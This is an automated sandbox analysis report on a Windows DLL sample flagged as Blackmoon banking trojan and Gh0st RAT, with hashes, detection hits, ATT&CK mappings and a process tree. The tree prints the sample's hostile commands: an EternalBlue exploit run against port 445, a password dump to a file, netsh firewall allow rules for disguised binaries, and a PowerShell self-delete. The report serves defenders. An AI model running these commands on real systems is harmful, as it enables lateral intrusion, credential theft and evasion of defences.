blackmoon | 7345cc802333d97b12d27c897ee998136e469de7412a2e93ef8dad282fac278f

Analysis

max time kernel
104s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25-11-2024 03:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7345cc802333d97b12d27c897ee998136e469de7412a2e93ef8dad282fac278f.dll
Size

163KB
MD5

ac39392fe4064c32edb92de807023544
SHA1

d53e5d8a41f40e0e15257e337a45db351afcd6d7
SHA256

7345cc802333d97b12d27c897ee998136e469de7412a2e93ef8dad282fac278f
SHA512

eedd9bd918a774a99b6eb2c0bfa327e70e5a7491aa504159f871fcc714eb2d0030a216c446738ca05a8907d6c42414d6789c44f03370bb57a599bead794933ef
SSDEEP

3072:x5VK0lTSG9xoC+CQpiU5MvUOGk//qmwYre9BN0N4wk:E0T9xB+CU4Gk//vwYre9BmNc

Score

10^/10

blackmoon gh0strat banker discovery evasion persistence privilege_escalation rat trojan upx

Malware Config

Signatures

Blackmoon family
blackmoon
Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
trojan banker blackmoon

Detect Blackmoon payload 9 IoCs

resource	yara_rule
behavioral1/memory/2652-56-0x0000000000400000-0x0000000000D25000-memory.dmp	family_blackmoon
behavioral1/memory/2652-57-0x0000000000400000-0x0000000000D25000-memory.dmp	family_blackmoon
behavioral1/memory/2652-13557-0x0000000000400000-0x0000000000D25000-memory.dmp	family_blackmoon
behavioral1/memory/2652-13601-0x0000000000400000-0x0000000000D25000-memory.dmp	family_blackmoon
behavioral1/files/0x000700000001678f-13602.dat	family_blackmoon
behavioral1/memory/2652-13619-0x0000000000400000-0x0000000000D25000-memory.dmp	family_blackmoon
behavioral1/memory/6760-13636-0x0000000000400000-0x0000000001BF5000-memory.dmp	family_blackmoon
behavioral1/memory/6760-13640-0x0000000000400000-0x0000000001BF5000-memory.dmp	family_blackmoon
behavioral1/files/0x00050000000195ce-13638.dat	family_blackmoon

Gh0st RAT payload 15 IoCs

resource	yara_rule
behavioral1/memory/2468-5-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-8-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-9-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-7-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-3-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-2-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-14-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/2468-13632-0x0000000000400000-0x0000000000409000-memory.dmp	family_gh0strat
behavioral1/memory/6760-13636-0x0000000000400000-0x0000000001BF5000-memory.dmp	family_gh0strat
behavioral1/memory/6760-13640-0x0000000000400000-0x0000000001BF5000-memory.dmp	family_gh0strat
behavioral1/files/0x00050000000195ce-13638.dat	family_gh0strat
behavioral1/memory/7332-13648-0x0000000000400000-0x000000000042A000-memory.dmp	family_gh0strat
behavioral1/memory/7332-13646-0x0000000000400000-0x000000000042A000-memory.dmp	family_gh0strat
behavioral1/memory/7332-13644-0x0000000000400000-0x000000000042A000-memory.dmp	family_gh0strat
behavioral1/memory/7332-13651-0x0000000000400000-0x000000000042A000-memory.dmp	family_gh0strat

Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Gh0strat family
gh0strat
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 12 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
7712	netsh.exe
8028	netsh.exe
3712	netsh.exe
8696	netsh.exe
4896	netsh.exe
4808	netsh.exe
4716	netsh.exe
7432	netsh.exe
4116	netsh.exe
3352	netsh.exe
8088	netsh.exe
7836	netsh.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\GraphicsPerfSvcs\Parameters\ServiceDll = "C:\\Users\\Admin\\AppData\\Roaming\\GraphicsPerfSvcs.dll"	Hooks.exe

Executes dropped EXE 6 IoCs

pid	Process
2652	MpMgSvc.exe
3992	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
8676	Wmicc.exe
8744	GetPassword.exe
6760	Hooks.exe

Loads dropped DLL 29 IoCs

pid	Process
2468	svchost.exe
2468	svchost.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
3992	Eternalblue-2.2.0.exe
2652	MpMgSvc.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
3512	Eternalblue-2.2.0.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
8716	cmd.exe
2468	svchost.exe
2468	svchost.exe
7180	svchost.exe

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	1.226.84.135

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2312 set thread context of 2468	2312	rundll32.exe	30
PID 7180 set thread context of 7332	7180	svchost.exe	46

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000800000001653a-19.dat	upx
behavioral1/memory/2652-28-0x0000000000400000-0x0000000000D25000-memory.dmp	upx
behavioral1/memory/2652-56-0x0000000000400000-0x0000000000D25000-memory.dmp	upx
behavioral1/memory/2652-57-0x0000000000400000-0x0000000000D25000-memory.dmp	upx
behavioral1/memory/2652-13557-0x0000000000400000-0x0000000000D25000-memory.dmp	upx
behavioral1/memory/2652-13601-0x0000000000400000-0x0000000000D25000-memory.dmp	upx
behavioral1/memory/2652-13619-0x0000000000400000-0x0000000000D25000-memory.dmp	upx
behavioral1/files/0x00050000000195c7-13626.dat	upx
behavioral1/memory/6760-13636-0x0000000000400000-0x0000000001BF5000-memory.dmp	upx
behavioral1/memory/6760-13640-0x0000000000400000-0x0000000001BF5000-memory.dmp	upx

Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Eternalblue-2.2.0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hooks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MpMgSvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Eternalblue-2.2.0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Wmicc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Modifies data under HKEY_USERS 21 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
2652	MpMgSvc.exe
8744	GetPassword.exe
8744	GetPassword.exe
8744	GetPassword.exe
8744	GetPassword.exe
7216	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
7332	svchost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	8744	GetPassword.exe
Token: SeDebugPrivilege	7216	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2652	MpMgSvc.exe
2652	MpMgSvc.exe
8676	Wmicc.exe
6760	Hooks.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2312 wrote to memory of 2468	2312	rundll32.exe	30
PID 2468 wrote to memory of 2652	2468	svchost.exe	32
PID 2468 wrote to memory of 2652	2468	svchost.exe	32
PID 2468 wrote to memory of 2652	2468	svchost.exe	32
PID 2468 wrote to memory of 2652	2468	svchost.exe	32
PID 2652 wrote to memory of 3992	2652	MpMgSvc.exe	34
PID 2652 wrote to memory of 3992	2652	MpMgSvc.exe	34
PID 2652 wrote to memory of 3992	2652	MpMgSvc.exe	34
PID 2652 wrote to memory of 3992	2652	MpMgSvc.exe	34
PID 2652 wrote to memory of 3512	2652	MpMgSvc.exe	36
PID 2652 wrote to memory of 3512	2652	MpMgSvc.exe	36
PID 2652 wrote to memory of 3512	2652	MpMgSvc.exe	36
PID 2652 wrote to memory of 3512	2652	MpMgSvc.exe	36
PID 2652 wrote to memory of 8676	2652	MpMgSvc.exe	38
PID 2652 wrote to memory of 8676	2652	MpMgSvc.exe	38
PID 2652 wrote to memory of 8676	2652	MpMgSvc.exe	38
PID 2652 wrote to memory of 8676	2652	MpMgSvc.exe	38
PID 8676 wrote to memory of 8716	8676	Wmicc.exe	39
PID 8676 wrote to memory of 8716	8676	Wmicc.exe	39
PID 8676 wrote to memory of 8716	8676	Wmicc.exe	39
PID 8676 wrote to memory of 8716	8676	Wmicc.exe	39
PID 8716 wrote to memory of 8744	8716	cmd.exe	41
PID 8716 wrote to memory of 8744	8716	cmd.exe	41
PID 8716 wrote to memory of 8744	8716	cmd.exe	41
PID 8716 wrote to memory of 8744	8716	cmd.exe	41
PID 2468 wrote to memory of 6760	2468	svchost.exe	42
PID 2468 wrote to memory of 6760	2468	svchost.exe	42
PID 2468 wrote to memory of 6760	2468	svchost.exe	42
PID 2468 wrote to memory of 6760	2468	svchost.exe	42
PID 6760 wrote to memory of 7216	6760	Hooks.exe	44
PID 6760 wrote to memory of 7216	6760	Hooks.exe	44
PID 6760 wrote to memory of 7216	6760	Hooks.exe	44
PID 6760 wrote to memory of 7216	6760	Hooks.exe	44
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7332	7180	svchost.exe	46
PID 7180 wrote to memory of 7432	7180	svchost.exe	47
PID 7180 wrote to memory of 7432	7180	svchost.exe	47
PID 7180 wrote to memory of 7432	7180	svchost.exe	47
PID 7180 wrote to memory of 7432	7180	svchost.exe	47
PID 7180 wrote to memory of 7712	7180	svchost.exe	49
PID 7180 wrote to memory of 7712	7180	svchost.exe	49
PID 7180 wrote to memory of 7712	7180	svchost.exe	49
PID 7180 wrote to memory of 7712	7180	svchost.exe	49
PID 7180 wrote to memory of 7836	7180	svchost.exe	51
PID 7180 wrote to memory of 7836	7180	svchost.exe	51
PID 7180 wrote to memory of 7836	7180	svchost.exe	51
PID 7180 wrote to memory of 7836	7180	svchost.exe	51
PID 7180 wrote to memory of 3352	7180	svchost.exe	53
PID 7180 wrote to memory of 3352	7180	svchost.exe	53

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7345cc802333d97b12d27c897ee998136e469de7412a2e93ef8dad282fac278f.dll,#1
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\SysWOW64\svchost.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\WINDOWS\Temp\MpMgSvc.exe
    "C:\WINDOWS\Temp\MpMgSvc.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\WINDOWS\Temp\Eternalblue-2.2.0.exe
      Eternalblue-2.2.0.exe --TargetIp 10.127.1.135 --Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3992
  - - C:\WINDOWS\Temp\Eternalblue-2.2.0.exe
      Eternalblue-2.2.0.exe --TargetIp 10.127.1.135 --Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3512
  - - C:\Windows\Temp\Wmicc.exe
      "C:\Windows\Temp\Wmicc.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:8676
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c C:\Windows\Temp\GetPassword.exe >C:\Windows\Temp\PWD.txt
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:8716
      - C:\Windows\Temp\GetPassword.exe
        
        C:\Windows\Temp\GetPassword.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:8744
- - C:\WINDOWS\Temp\Hooks.exe
    "C:\WINDOWS\Temp\Hooks.exe"
    3⤵
    - Server Software Component: Terminal Services DLL
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:6760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7216

C:\Windows\SysWOW64\svchost.exe
C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:7180
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  PID:7332
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:7432
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:7712
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:7836
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:3352
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:8028
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
  2⤵
  - Modifies Windows Firewall
  PID:8088
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
  2⤵
  - Modifies Windows Firewall
  PID:3712
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
  2⤵
  - Modifies Windows Firewall
  PID:8696
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes
  2⤵
  - Modifies Windows Firewall
  PID:4896
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
  2⤵
  - Modifies Windows Firewall
  PID:4808
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
  2⤵
  - Modifies Windows Firewall
  PID:4716
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
  2⤵
  - Modifies Windows Firewall
  PID:4116
- C:\Windows\Microsoft.NET\ctfmoon.exe
  C:\Windows\Microsoft.NET\ctfmoon.exe [email protected] -password=123456Aa. -device-name=Win32 -accept-tos
  2⤵
  PID:7824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Network Service Discovery

T1046

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\Microsoft.NET\ctfmoon.exe

Filesize
1.8MB

MD5
73c754af52914907ca67124432e9abf9

SHA1
c8ac9ea030eb19f02487227a66cbaa870fe2de1e

SHA256
cd14bd3e5f5eb432c5f43eb3816ee19e9e71ff9c8772f2e96c6d6f259fe425b2

SHA512
6fc4a9ff3eea09190b711604919ca18d9e36636a3a74e3367a33919f08f5ca8a4020ca7427afb960ade2403e32f7489a16583408e2437636bc856cf0a5220777

Download Submit
C:\Windows\Temp\Eternalblue-2.2.0.xml

Filesize
7KB

MD5
497080fed2000e8b49ee2e97e54036b1

SHA1
4af3fae881a80355dd09df6e736203c30c4faac5

SHA256
756f44f1d667132b043bfd3da16b91c9f6681e5d778c5f07bb031d62ff00d380

SHA512
4f8bd09f9d8d332c436beb8164eec90b0e260b69230f102565298beff0db37265be1ae5eb70acf60e77d5589c61c7ee7f01a02d2a30ac72d794a04efef6f25df

Download Submit
C:\Windows\Temp\GetPassword.exe

Filesize
494KB

MD5
5b6a804db0c5733d331eb126048ca73b

SHA1
f18c5acae63457ad26565d663467fa5a7fbfbee4

SHA256
5bec6b3bc6f8cbda50a8c5195a488cc82d2e00f18ec75640db31b2376a6db9f9

SHA512
ba6424051ab9f650967cc2ba428fd6a02ccda8f99d8b8e3f5f321a5e6bbf79a22bfc9cdd582c44980470ebbb7aea1b811fd69aab6bf51466a803c7c722fcde26

Download Submit
C:\Windows\Temp\MpMgSvc.exe

Filesize
3.2MB

MD5
3809c59565787ee7398fe9222d4bd669

SHA1
68842768c9ae9deb1d1d7ed2b27846c392b47103

SHA256
c751d97251cd67604c0256b779fabac87d4ed2d647ce0d830e2a1670cd3616c6

SHA512
2f78ad26acfe15f4682b69090704fa8ebb24938c8a58b8d343ef0993e8234897aed53dfcea4119168f915384fe545d2cbb16bc12339d0600dafae06deefc9098

Download Submit
C:\Windows\Temp\PWD.txt

Filesize
29B

MD5
43b9c07824a40786d6cf4ff425ed7ea0

SHA1
03b8269231e4659ca7767b3c1982d32e83cd3ab3

SHA256
5b62bb2ef959c34617217bea375992ca35fd987e3e583892b8c03b191ff4ce03

SHA512
e7a473cf996b0d139449335ea36bf6ae9b9c59fce4797ae32b0cf9907aa5a8ba61962e91f7445ad73974b7bd765c8f2b9d9ad75e5d2677a1171b7a7f7eabb61a

Download Submit
C:\Windows\Temp\ip.txt

Filesize
180KB

MD5
749369989cc20f9ed44f82f1b476249d

SHA1
53aa829726b2af27d24899e568f3d3fe964690d6

SHA256
8534923c6ebc3658b5b671b02d21cead897004f4cb8308dce4bfd526bf79eb61

SHA512
